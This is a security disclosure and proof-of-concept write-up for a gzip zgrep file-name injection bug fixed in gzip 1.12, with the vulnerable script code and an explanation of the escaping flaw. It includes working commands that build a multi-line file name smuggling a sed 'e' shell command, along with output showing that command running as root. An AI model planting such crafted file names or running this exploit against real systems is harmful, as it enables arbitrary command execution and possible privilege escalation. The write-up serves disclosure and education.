===[ INTRO ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ There is a bug in ''zgrep'' script (and other variants like ''xzgrep'') that allows an attacker to execute any ''sed'' command. This can lead to privilege escalation. Since: gzip-1.3.10 * Debian 07 wheezy has version 1.5. Fixed: gzip-1.12 ===[ PoC ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ What I need: - Multi-line (>=2) file name. - File must contain data, which I can match. - sed command. -----------------------------------[ code ]------------------------------------ echo brm | gzip > \ "$(printf '|\n;e id\n#.gz')" # ^ ^ ^ ^^ # | | | |`--------- this is not needed, it's just for "comfort" # | | | `---------- second newline -- this is crucial! # | | `--------------- sed command (execute shell command) # | `----------------- first newline # `------------------- separator inside sed substitution: s|old|new| zgrep -H ^ *.gz # 1. There must be a match. # 2. It must show a file name. ------------------------------------------------------------------------------- ===[ Why is it working? ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ How is zgrep working anyway? Well, it's a shell script: -----------------------------------[ code ]------------------------------------ $ file /usr/bin/zgrep /usr/bin/zgrep: POSIX shell script, ASCII text executable ------------------------------------------------------------------------------- Now, the key question is: how is it parsing a file name? Short answer is: by ''sed'', which tries to escape naughty characters. Keyword is "tries". Relevant snippet of code: ------------------------------[ /usr/bin/zgrep ]------------------------------- for i do ... if test $files_with_matches -eq 1; then # -l | --files-with-* ... elif test $files_without_matches -eq 1; then # -L | --files-witho* ... elif test $with_filename -eq 0 && # -H | --with-filename { test $# -eq 1 || test $no_filename -eq 1; }; then # -h | --no-f* eval "$grep" else # <--- [1] case $i in (*' '* | *'&'* | *'\'* | *'|'*) i=$(printf '%s\n' "$i" | sed ' # <--- this is the problem [2] $!N $s/[&\|]/\\&/g $s/\n/\\n/g ');; esac sed_script="s|^|$i:|" # <--- here we can execute the exploit! [3] ... ------------------------------------------------------------------------------- From conditions [1], we can see that it will work only with multiple files (and we must not use ''-l'' or ''-L'' argument). Command inside variable ''$sed_script'' [3] is a sed command, which will print a file name. Problem [2] is, that if there are multiple new lines, sed will not replace them with ''\n''. In such case, it actually will not replace anything! And that is the gist of the exploit. ===[ Detailed explanation ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1. Single newline will work just fine: -----------------------------------[ code ]------------------------------------ echo '1 2' | sed ' $!N $s/[&\|]/\\&/g $s/\n/\\n/g ' ------------------------------------------------------------------------------- Verbatim output will be: ----------------------------------[ output ]----------------------------------- 1\n2 ------------------------------------------------------------------------------- 2. But if I use two newlines, result will be different: -----------------------------------[ code ]------------------------------------ echo '1 2 3' | sed ' $!N $s/[&\|]/\\&/g $s/\n/\\n/g ' ------------------------------------------------------------------------------- Verbatim output will be: ----------------------------------[ output ]----------------------------------- 1 2 3 ------------------------------------------------------------------------------- Output shows no escaping! Therefore I can easily create ''sed'' commands like this: -----------------------------------[ code ]------------------------------------ echo '| ; sed_command # comment' | sed ' $!N $s/[&\|]/\\&/g $s/\n/\\n/g ' ------------------------------------------------------------------------------- Final form of ''$sed_script'' will be: -----------------------------------[ code ]------------------------------------ s|^|| ; sed_command # comment\n:| ------------------------------------------------------------------------------- And we can now run any ''sed'' command. For example: ''e'', which allows us to execute shell command: -----------------------------------[ code ]------------------------------------ touch a.gz echo brm > '|'$'\n'';e id'$'\n''#.gz' zgrep brm foo.gz '|'$'\n'';e id'$'\n''#.gz' ------------------------------------------------------------------------------- ----------------------------------[ output ]----------------------------------- uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),119(wireshark),142(kaboxer) brm ------------------------------------------------------------------------------- (btw, I'm running it as root here. This is not a simple privilege escalation, but it can lead to it.) ===[ References ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > https://www.openwall.com/lists/oss-security/2022/04/08/2 > https://lists.gnu.org/r/bug-gzip/2022-04/msg00011.html